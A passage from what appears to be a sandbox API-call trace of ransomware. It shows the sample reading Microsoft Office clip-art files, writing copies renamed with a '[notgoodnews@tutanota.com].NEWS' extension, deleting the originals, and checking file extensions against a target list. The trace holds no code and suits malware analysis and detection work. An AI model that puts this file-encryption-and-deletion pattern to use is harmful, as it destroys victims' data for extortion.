lpString2=".NEWS") returned 1 [0182.645] lstrlenW (lpString="J0107342.WMF") returned 12 [0182.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0182.646] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=4244) returned 1 [0182.647] CloseHandle (hObject=0x36c) returned 1 [0182.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf")) returned 0x220 [0182.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0182.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0182.647] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.647] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0182.648] GetLastError () returned 0x0 [0182.648] ReadFile (in: hFile=0x36c, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x1094, lpOverlapped=0x0) returned 1 [0182.677] WriteFile (in: hFile=0x53c, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x10a0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x10a0, lpOverlapped=0x0) returned 1 [0182.709] ReadFile (in: hFile=0x36c, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.709] WriteFile (in: hFile=0x53c, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0182.709] SetEndOfFile (hFile=0x53c) returned 1 [0182.709] CloseHandle (hObject=0x53c) returned 1 [0182.709] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.710] SetEndOfFile (hFile=0x36c) returned 1 [0182.712] CloseHandle (hObject=0x36c) returned 1 [0182.712] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0182.713] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf")) returned 1 [0182.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0182.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0182.725] lstrlenW (lpString=".doc") returned 4 [0182.725] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.725] lstrlenW (lpString=".docx") returned 5 [0182.725] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0182.725] lstrlenW (lpString=".pdf") returned 4 [0182.725] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.725] lstrlenW (lpString=".xls") returned 4 [0182.725] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.725] lstrlenW (lpString=".xlsx") returned 5 [0182.725] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0182.725] lstrlenW (lpString=".ppt") returned 4 [0182.725] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0182.725] lstrlenW (lpString=".zip") returned 4 [0182.725] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.725] lstrlenW (lpString=".rar") returned 4 [0182.725] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.725] lstrlenW (lpString=".bz2") returned 4 [0182.725] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.725] lstrlenW (lpString=".7z") returned 3 [0182.725] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0182.725] lstrlenW (lpString=".dbf") returned 4 [0182.725] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0182.725] lstrlenW (lpString=".1cd") returned 4 [0182.725] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0182.725] lstrlenW (lpString=".jpg") returned 4 [0182.725] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0182.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0182.726] lstrlenW (lpString=".doc") returned 4 [0182.726] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.726] lstrlenW (lpString=".docx") returned 5 [0182.726] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0182.726] lstrlenW (lpString=".pdf") returned 4 [0182.726] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.726] lstrlenW (lpString=".xls") returned 4 [0182.726] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.726] lstrlenW (lpString=".xlsx") returned 5 [0182.726] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0182.726] lstrlenW (lpString=".ppt") returned 4 [0182.726] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0182.726] lstrlenW (lpString=".zip") returned 4 [0182.726] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.726] lstrlenW (lpString=".rar") returned 4 [0182.726] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.726] lstrlenW (lpString=".bz2") returned 4 [0182.726] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.726] lstrlenW (lpString=".7z") returned 3 [0182.726] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0182.726] lstrlenW (lpString=".dbf") returned 4 [0182.726] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0182.728] lstrlenW (lpString=".1cd") returned 4 [0182.728] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0182.728] lstrlenW (lpString=".jpg") returned 4 [0182.728] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.728] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0182.728] lstrlenW (lpString="J0107344.WMF") returned 12 [0182.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0182.729] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=5076) returned 1 [0182.730] CloseHandle (hObject=0x36c) returned 1 [0182.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf")) returned 0x220 [0182.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0182.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0182.730] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.730] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0182.731] GetLastError () returned 0x0 [0182.731] ReadFile (in: hFile=0x36c, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x13d4, lpOverlapped=0x0) returned 1 [0182.744] WriteFile (in: hFile=0x53c, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x13e0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x13e0, lpOverlapped=0x0) returned 1 [0182.745] ReadFile (in: hFile=0x36c, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.745] WriteFile (in: hFile=0x53c, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0182.745] SetEndOfFile (hFile=0x53c) returned 1 [0182.745] CloseHandle (hObject=0x53c) returned 1 [0182.745] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.745] SetEndOfFile (hFile=0x36c) returned 1 [0182.749] CloseHandle (hObject=0x36c) returned 1 [0182.749] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0182.750] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf")) returned 1 [0182.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0182.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0182.751] lstrlenW (lpString=".doc") returned 4 [0182.751] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.751] lstrlenW (lpString=".docx") returned 5 [0182.751] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0182.751] lstrlenW (lpString=".pdf") returned 4 [0182.751] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.751] lstrlenW (lpString=".xls") returned 4 [0182.751] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.751] lstrlenW (lpString=".xlsx") returned 5 [0182.751] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0182.751] lstrlenW (lpString=".ppt") returned 4 [0182.751] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0182.751] lstrlenW (lpString=".zip") returned 4 [0182.751] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.751] lstrlenW (lpString=".rar") returned 4 [0182.751] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.751] lstrlenW (lpString=".bz2") returned 4 [0182.751] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.751] lstrlenW (lpString=".7z") returned 3 [0182.751] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0182.751] lstrlenW (lpString=".dbf") returned 4 [0182.751] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0182.752] lstrlenW (lpString=".1cd") returned 4 [0182.752] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0182.752] lstrlenW (lpString=".jpg") returned 4 [0182.752] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0182.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0182.752] lstrlenW (lpString=".doc") returned 4 [0182.752] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.752] lstrlenW (lpString=".docx") returned 5 [0182.752] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0182.752] lstrlenW (lpString=".pdf") returned 4 [0182.752] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.752] lstrlenW (lpString=".xls") returned 4 [0182.752] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.752] lstrlenW (lpString=".xlsx") returned 5 [0182.752] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0182.752] lstrlenW (lpString=".ppt") returned 4 [0182.752] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0182.752] lstrlenW (lpString=".zip") returned 4 [0182.752] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.752] lstrlenW (lpString=".rar") returned 4 [0182.752] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.752] lstrlenW (lpString=".bz2") returned 4 [0182.752] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.752] lstrlenW (lpString=".7z") returned 3 [0182.752] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0182.752] lstrlenW (lpString=".dbf") returned 4 [0182.752] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0182.753] lstrlenW (lpString=".1cd") returned 4 [0182.753] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0182.753] lstrlenW (lpString=".jpg") returned 4 [0182.753] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.753] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0182.753] lstrlenW (lpString="J0107350.WMF") returned 12 [0182.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0182.816] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=23672) returned 1 [0182.816] CloseHandle (hObject=0x36c) returned 1 [0182.816] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf")) returned 0x220 [0182.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0182.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0183.018] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.019] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0183.020] GetLastError () returned 0x0 [0183.020] ReadFile (in: hFile=0x518, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x5c78, lpOverlapped=0x0) returned 1 [0183.068] WriteFile (in: hFile=0x4f0, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x5c80, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x5c80, lpOverlapped=0x0) returned 1 [0183.070] ReadFile (in: hFile=0x518, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0183.070] WriteFile (in: hFile=0x4f0, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0183.070] SetEndOfFile (hFile=0x4f0) returned 1 [0183.070] CloseHandle (hObject=0x4f0) returned 1 [0183.070] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.071] SetEndOfFile (hFile=0x518) returned 1 [0183.075] CloseHandle (hObject=0x518) returned 1 [0183.076] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0183.076] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf")) returned 1 [0183.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0183.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0183.077] lstrlenW (lpString=".doc") returned 4 [0183.077] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0183.077] lstrlenW (lpString=".docx") returned 5 [0183.077] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0183.077] lstrlenW (lpString=".pdf") returned 4 [0183.077] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0183.077] lstrlenW (lpString=".xls") returned 4 [0183.077] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0183.077] lstrlenW (lpString=".xlsx") returned 5 [0183.077] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0183.077] lstrlenW (lpString=".ppt") returned 4 [0183.078] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0183.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0183.078] lstrlenW (lpString=".zip") returned 4 [0183.078] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0183.078] lstrlenW (lpString=".rar") returned 4 [0183.078] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0183.078] lstrlenW (lpString=".bz2") returned 4 [0183.078] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0183.078] lstrlenW (lpString=".7z") returned 3 [0183.078] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0183.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0183.078] lstrlenW (lpString=".dbf") returned 4 [0183.078] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0183.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0183.078] lstrlenW (lpString=".1cd") returned 4 [0183.078] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0183.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0183.078] lstrlenW (lpString=".jpg") returned 4 [0183.078] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0183.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0183.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0183.078] lstrlenW (lpString=".doc") returned 4 [0183.078] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0183.078] lstrlenW (lpString=".docx") returned 5 [0183.078] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0183.078] lstrlenW (lpString=".pdf") returned 4 [0183.078] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0183.078] lstrlenW (lpString=".xls") returned 4 [0183.079] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0183.079] lstrlenW (lpString=".xlsx") returned 5 [0183.079] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0183.079] lstrlenW (lpString=".ppt") returned 4 [0183.079] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0183.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0183.079] lstrlenW (lpString=".zip") returned 4 [0183.079] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0183.079] lstrlenW (lpString=".rar") returned 4 [0183.079] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0183.079] lstrlenW (lpString=".bz2") returned 4 [0183.079] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0183.079] lstrlenW (lpString=".7z") returned 3 [0183.079] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0183.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0183.079] lstrlenW (lpString=".dbf") returned 4 [0183.079] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0183.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0183.079] lstrlenW (lpString=".1cd") returned 4 [0183.079] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0183.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0183.079] lstrlenW (lpString=".jpg") returned 4 [0183.079] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0183.079] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0183.079] lstrlenW (lpString="J0107456.WMF") returned 12 [0183.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 